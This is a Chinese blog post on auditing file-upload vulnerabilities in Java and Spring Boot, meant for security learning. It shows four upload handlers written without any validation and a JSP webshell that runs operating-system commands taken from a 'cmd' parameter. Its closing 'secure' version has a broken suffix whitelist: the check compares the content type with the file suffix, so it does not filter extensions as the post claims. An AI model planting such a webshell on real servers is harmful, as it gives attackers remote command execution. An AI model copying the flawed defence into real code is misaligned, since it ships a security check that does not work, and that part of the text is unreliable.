Java代码审计—文件上传漏洞

admin 2023年3月12日20:36:16Java代码审计—文件上传漏洞已关闭评论238 views字数 10899阅读36分19秒阅读模式

环境配置

Springboot:2.7.5

依赖

```

   
       org.springframework.boot
       spring-boot-starter-web
   


       org.springframework.boot
       spring-boot-starter-test
       test
   


       org.apache.tomcat.embed
       tomcat-embed-jasper
   


       commons-fileupload
       commons-fileupload
       1.2.2
   

   
   
       commons-io
       commons-io
       2.0.1
   


```

application.yml

```
spring:
mvc:
  view:
    prefix: /WEB-INF/jsp/
    suffix: .jsp
web:
  resources:
    static-locations: classpath:/templates/

server:
port: 8081
```

前置知识

multipart/form-data

multipart/form-data这种编码方式的表单会以二进制流的方式来处理表单数据,这种编码方式会把文件域指定文件的内容也封装到请求参数里。通常会见到配合method=post去搭配使用,而后端采取inputstream等方式读取客户端传入的二进制流来处理文件。

00截断问题

PHP中:PHP\<5.3.29,且GPC关闭

Java中:

同时考虑到00截断绕过的问题,在JDK1.7.0_40(7u40)开始对\00进行了检查:

final boolean isInvalid(){
   if(status == null){
       status=(this.path.indexOf('\u0000')<0)?PathStatus.CHECKED:PathStatus.INVALID;
  }
   return status == PathStatus.INVALID;
}

在7u40后这个问题也就修复了

表单中的enctype

  • application/x-www-form-urlencoded:默认编码方式,只处理表单中的value属性值,这种编码方式会将表单中的值处理成URL编码方式
  • multipart/form-data:以二进制流的方式处理表单数据,会把文件内容也封装到请求参数中,不会对字符编码
  • text/plain:把空格转换为+ ,当表单action属性为mailto:URL形式时比较方便,适用于直接通过表单发送邮件方式

处理文件时常用方法

separatorChar

主要用来做分隔符,防止因为跨平台时各个操作系统之间分隔符不一样出现问题

public static final char separatorChar

与系统有关的默认名称分隔符。此字段被初始化为包含系统属性 file.separator 值的第一个字符。在 UNIX 系统上,此字段的值为 '/';在 Microsoft Windows 系统上,它为 '**\'

separator

主要用来做分隔符,防止因为跨平台时各个操作系统之间分隔符不一样出现问题

public static final String separator = "" + separatorChar;

其实separator是由separatorChar转换成的,所以只是类型不同

equalsIgnoreCase

将字符串与指定的对象比较,不考虑大小写。文件上传中主要用于判断文件文件后缀名

可以与equlas对比来看,s1和s2只有大小写不同,如果用equals则返回false,equalsIgnoreCase返回true

String s1 = "SENTIMENT";
String s2 = "sentiment";
System.out.println(s1.equals(s2));              //false
System.out.println(s1.equalsIgnoreCase(s2));    //true

常见文件上传方式

文件流上传

@RequestMapping("/upload1")
public String fileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) throws IOException {
   String path = request.getServletContext().getRealPath("upload");
   String filename = file.getOriginalFilename();
   if (file.isEmpty()) {
       return "请上传文件";
  }
   try {
       OutputStream fos = new FileOutputStream(path + "/" + filename);
       InputStream fis = file.getInputStream();
       int len;
       while ((len = fis.read()) != -1) {
           fos.write(len);
      }
       fos.flush();
       fos.close();
       fis.close();
       return "Success!";
  } catch (FileNotFoundException e) {
       e.printStackTrace();
  }
   return "";
}

上传入口

<h1>文件流上传</h1>
<form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload1">
 <input type="file" name="file">
 <input type="submit" name="submit">
</form>

MultipartFile方式上传

MultipartFile常用方法

  • String getOriginalFilename():获取上传文件的原名
  • InputStream getInputStream():获取文件流
  • void transferTo(File dest):将上传文件保存到一个目录文件中
  • String getContentType():获取上传文件的MIME类型

```
@RequestMapping("/file2")
public String MultiFileUpload(@RequestParam("file") MultipartFile file ,HttpServletRequest request) {
   if (file.isEmpty()) {
       return "请上传文件";
  }
   String filePath = request.getServletContext().getRealPath("upload");
   String fileName = file.getOriginalFilename();

File dest = new File(filePath + File.separator + fileName);
   if (!dest.getParentFile().exists()) {
       dest.getParentFile().mkdirs();
  }
   try {
       file.transferTo(dest);
       return "Success!";
  } catch (IOException e) {
       e.printStackTrace();
  }
   return "";
}
```

若要对上传内容进行限制则可设置:

springboot

spring:
servlet:
  multipart:
    enabled: true
     # 单文件大小
    max-file-size: 100MB
     # 文件达到多少磁盘写入
    file-size-threshold: 4MB

springmvc

<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<!--       需要与jsp中的pageEncoding配置一致,默认为iso-8859-1-->
   <property name="defaultEncoding" value="utf-8"/>
<!--   单文件大小,单位为字节10485700=100M-->
   <property name="maxUploadSize" value="10485700"/>
   <!--   文件达到多少磁盘写入-->
   <property name="maxInMemorySize" value="409600"/>
</bean>

上传入口

<h1>MultipartFile上传</h1>
<form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload2">
 <input type="file" name="file">
 <input type="submit" name="submit">
</form>

ServletFileUpload上传

基于Commons-FileUpload组件

依赖

<dependency>
   <groupId>commons-fileupload</groupId>
   <artifactId>commons-fileupload</artifactId>
   <version>1.2.2</version>
</dependency>

Springboot环境需关闭multipart

spring:
servlet:
  multipart:
    enabled: false

创建步骤

  • 创建磁盘工厂:DiskFileItemFactory factory = new DiskFileItemFactory();
  • 创建处理工具:ServletFileUpload upload = new ServletFileUpload(factory);
  • 设置上传文件大小:upload.setFileSizeMax(3145728);
  • 接收全部内容:List items = upload.parseRequest(request);

```
@RequestMapping("/upload3")
protected void ServletFileUpload(HttpServletRequest request, HttpServletResponse response) throws IOException {
  {
       //设置文件上传路径
       String filePath = request.getServletContext().getRealPath("upload");
       File uploadFile = new File(filePath);
       //若不存在该路径则创建之
       if (!uploadFile.exists() && !uploadFile.isDirectory()) {
           uploadFile.mkdir();
      }

try {
           //创建一个磁盘工厂
           DiskFileItemFactory factory = new DiskFileItemFactory();
           //创建文件上传解析器
           ServletFileUpload fileupload = new ServletFileUpload(factory);
           //三个照顾要上传的文件大小
           fileupload.setFileSizeMax(3145728);
           //判断是否为multipart/form-data类型,为false则直接跳出该方法
           if (!fileupload.isMultipartContent(request)) {
               return;
          }
           //使用ServletFileUpload解析器解析上传数据,解析结果返回的是一个List集合,每一个FileItem对应一个Form表单的输入项
           List items = fileupload.parseRequest(request);
           for (FileItem item : items) {
               //isFormField方法用于判断FileItem类对象封装的数据是否属于一个普通表单字段,还是属于一个文件表单字段,如果是普通表单字段则返回true,否则返回false。
               if (item.isFormField()) {
                   String name = item.getFieldName();
                   //解决普通输入项的数据的中文乱码问题
                   String value = item.getString("UTF-8");
                   String value1 = new String(name.getBytes("iso8859-1"), "UTF-8");
                   System.out.println(name + " : " + value);
                   System.out.println(name + " : " + value1);
              } else {
                   //获得上传文件名称
                   String fileName = item.getName();
                   System.out.println(fileName);
                   if (fileName == null || fileName.trim().equals("")) {
                       continue;
                  }
                   //注意:不同的浏览器提交的文件名是不一样的,有些浏览器提交上来的文件名是带有路径的,如: c:\a\b\1.txt,而有些只是单纯的文件名,如:1.txt
                   //处理获取到的上传文件的文件名的路径部分,只保留文件名部分
                   fileName = fileName.substring(fileName.lastIndexOf(File.separator) + 1);
                   //获取item中的上传文件的输入流
                   InputStream is = item.getInputStream();
                   FileOutputStream fos = new FileOutputStream(filePath + File.separator + fileName);
                   byte buffer[] = new byte[1024];
                   int length = 0;
                   while ((length = is.read(buffer)) > 0) {
                       fos.write(buffer, 0, length);
                  }
                   is.close();
                   fos.close();
                   item.delete();
              }
          }
           response.getWriter().write("Success!");
      } catch (FileUploadException e) {
           e.printStackTrace();
      }
  }
}
```

上传入口

<h1>ServletFileUpload上传</h1>
<form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload3">
 <input type="file" name="file">
 <input type="submit" name="submit">
</form>

Servlet Part上传

Servlet3之后,有提出了request.getParts()获取上传文件的方式。

除此外若加上注解@MultipartConfig,则可定义一些上传属性

| 方法 | 类型 | 是否可选 | 作用 |
| ----------------------- | ------------ | -------------- | -------------------------------------------------------------------- |
| fileSizeThershold | int | | 当前数据量大于该值时,内容将被写入文件 |
| location | String | | 存放文件的路径 |
| maxFileSize | long | | 允许上传的文件最大值,默认为-1,表示没有限制 |
| maxRequestSize | long | | 针对multipart/form-data 请求的最大数量,默认为-1,表示没有限制 |

ServletPart常用方法

  • String getName()  获取这部分的名称,例如相关表单域的名称
  • String getContentType()  如果Part是一个文件,那么将返回Part的内容类型,否则返回null(可以利用这一方法来识别是否为文件域)
  • Collection getHeaderNames()  返回这个Part中所有标头的名称
  • String getHeader(String headerName)  返回指定标头名称的值
  • void write(String path)  将上传的文件写入服务器中项目的指定地址下,如果path是一个绝对路径,那么将写入指定的路径,如果path是一个相对路径,那么将被写入相对于location属性值的指定路径。
  • InputStream getInputStream()  以inputstream的形式返回上传文件的内容

@RequestMapping("/upload4")
public void ServletPartUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
   String filePath = request.getServletContext().getRealPath("upload");
   File uploadFile = new File(filePath);
   //若不存在该路径则创建之
   if (!uploadFile.exists() && !uploadFile.isDirectory()) {
       uploadFile.mkdir();
  }
   //通过表单中name属性值,获取filename
   Part part = request.getPart("file");
   if(part == null) {
       return ;
  }
   String filename = filePath + File.separator + part.getSubmittedFileName();
   part.write(filename);
   part.delete();
}

文件上传入口

<h1>ServletPart上传</h1>
<form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload4">
 <input type="file" name="file">
 <input type="submit" name="submit">
</form>

文件上传漏洞

上述都是no waf的文件上传方式,若不做任何防御的情况下,可以实现任意文件上传,造成文件上传漏洞

通过上述任意方法,上传jsp马

<%
       java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
       int a;
       byte[] b = new byte[1024];
       out.print("<pre>");
       while((a=in.read(b))!=-1){
           out.println(new String(b,0,a));
      }
%>

执行成功

Java代码审计—文件上传漏洞

防御

content-type白名单

//1、MIME检测
   String contentType = file.getContentType();
   String[] white_type = {"image/gif","image/jpeg","image/jpg","image/png"};
   Boolean ctFlag = false;
   for (String suffix:white_type){
       if (contentType.equalsIgnoreCase(suffix)){
           ctFlag = true;
           break;
      }
  }
   if (!ctFlag){
       return "content-type not allow";
  }

如果单设置这一个的话其实很好绕过

重命名文件

可以用uuid、md5、时间戳等方式

//2、重命名文件
String uuid = UUID.randomUUID().toString();
fileName = uuid+fileName.substring(fileName.lastIndexOf("."));;

后缀白名单

//3、后缀白名单
String fileSuffix = fileName.substring(fileName.lastIndexOf("."));
String[] white_suffix = {"gif","jpg","jpeg","png"};
Boolean fsFlag = false;
for (String suffix:white_suffix){
   if (contentType.equalsIgnoreCase(fileSuffix)){
       fsFlag = true;
       break;
  }
}
if (!fsFlag){
   return "suffix not allow";
}

绕过MIME检测后,可以通过白名单进行进一步的防御

Java代码审计—文件上传漏洞

修改存储位置

可以将图片存放到不可访问的路径,例如:Servlet的WEB-INF下,默认情况是访问不到的

//4、修改存储位置
String filePath = request.getServletContext().getRealPath("/WEB-INF/upload");

最终代码

```
public String MultiFileUpload(@RequestParam("file") MultipartFile file ,HttpServletRequest request) {
       if (file.isEmpty()) {
           return "请上传文件";
      }

//       String filePath = request.getServletContext().getRealPath("upload");
       String fileName = file.getOriginalFilename();
       //1、MIME检测
       String contentType = file.getContentType();
       String[] white_type = {"image/gif","image/jpeg","image/jpg","image/png"};
       Boolean ctFlag = false;
       for (String suffix:white_type){
           if (contentType.equalsIgnoreCase(suffix)){
               ctFlag = true;
               break;
          }
      }
       if (!ctFlag){
           return "content-type not allow";
      }
       //2、重命名文件
       String uuid = UUID.randomUUID().toString();
       fileName = uuid+fileName.substring(fileName.lastIndexOf("."));;
       //3、后缀白名单
       String fileSuffix = fileName.substring(fileName.lastIndexOf("."));
       String[] white_suffix = {"gif","jpg","jpeg","png"};
       Boolean fsFlag = false;
       for (String suffix:white_suffix){
           if (contentType.equalsIgnoreCase(fileSuffix)){
               fsFlag = true;
               break;
          }
      }
       if (!fsFlag){
           return "suffix not allow";
      }
       //4、修改存储位置
       String filePath = request.getServletContext().getRealPath("/WEB-INF/upload/");
       File dest = new File(filePath + File.separator + fileName);
       if (!dest.getParentFile().exists()) {
           dest.getParentFile().mkdirs();
      }
       try {
           file.transferTo(dest);
           return "Success!";
      } catch (IOException e) {
           e.printStackTrace();
      }
       return "";
  }
```

代码审计中常见文件上传关键字

DiskFileItemFactory
@MultipartConfig
MultipartFile
File
upload
InputStream
OutputStream
write
fileName
filePath

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:36:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java代码审计—文件上传漏洞https://cn-sec.com/archives/1599493.html